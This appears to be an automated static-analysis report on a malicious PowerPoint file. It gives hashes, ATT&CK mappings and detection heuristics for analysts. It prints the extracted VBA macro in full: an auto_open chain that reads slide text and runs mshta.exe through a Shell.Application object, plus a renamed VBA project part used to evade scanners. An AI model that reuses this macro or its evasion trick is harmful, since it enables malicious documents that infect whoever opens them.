Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 aa5b49f403ab1cc5…

MALICIOUS

Office (OOXML)

9.8 KB First seen: 2021-10-23
MD5: 29934e0bec9fa34f70dec9a88c766105 SHA-1: 4cd5ad37f773974209ed4dc68dc3c016c5d0752b SHA-256: aa5b49f403ab1cc5b89fa59d8f8b69c6ec576d232664824031597ed9d3920f78
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.010 System Binary Proxy Execution: Regsvr32

The sample contains a VBA macro that is automatically executed upon opening. This macro utilizes CreateObject to launch 'mshta.exe' with arguments that appear to be an attempt to execute a payload. The script's obfuscated nature and the use of a LOLBin like mshta.exe suggest a downloader or executioner role for this document.

Heuristics 6

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/baxes.b)
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    objMMC1.ShellExecute "c:\windows\system32\calc.exe\..\mshta.exe", " " + dd, "", "", 0
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    'obj12.VBAFormat
Set objMMC1 = CreateObject("new:13709620-C279-11CE-A49E-444553540000")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module11"
Sub auto_open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2182 bytes
SHA-256: b75068df8d71b51bfc6edbb984aef96b88cc2121392c7a2e7bce02905b8e4d3f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module11"
Sub auto_open()


Dim obj As New Class1

obj.VBAFormat




End Sub

Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub VBAFormat()

Dim obj As New Class11




Dim p As Presentation: Set p = ActivePresentation
Dim s As Slide
Dim sh As Shape
For Each s In p.Slides
    For Each sh In s.Shapes
        If sh.HasTextFrame Then
            If sh.TextFrame.HasText Then
                obj.mopas sh.TextFrame.TextRange.Text
            End If
        End If
    Next
Next



End Sub

Attribute VB_Name = "Class11"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub mopas(ByVal VBA As String)

Dim obj As New Class111
obj _
.Minterger VBA



End Sub


Attribute VB_Name = "Class12"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Sub MainCallex(ByVal dd As String)

Dim obj12 As New Class1
'obj12.VBAFormat
Set objMMC1 = CreateObject("new:13709620-C279-11CE-A49E-444553540000")


objMMC1.ShellExecute "c:\windows\system32\calc.exe\..\mshta.exe", " " + dd, "", "", 0


End Sub

Attribute VB_Name = "Class111"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Minterger(ByVal VBA2 As String)


Dim obj As New Class12

obj _
.MainCallex VBA2


End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/baxes.b 26112 bytes
SHA-256: d81493b9334ef9eb55357fcb728a1b0ea89213608ce5b5a476fcd317420b7aa1

Open this report in the interactive analyzer, or submit your own file for analysis.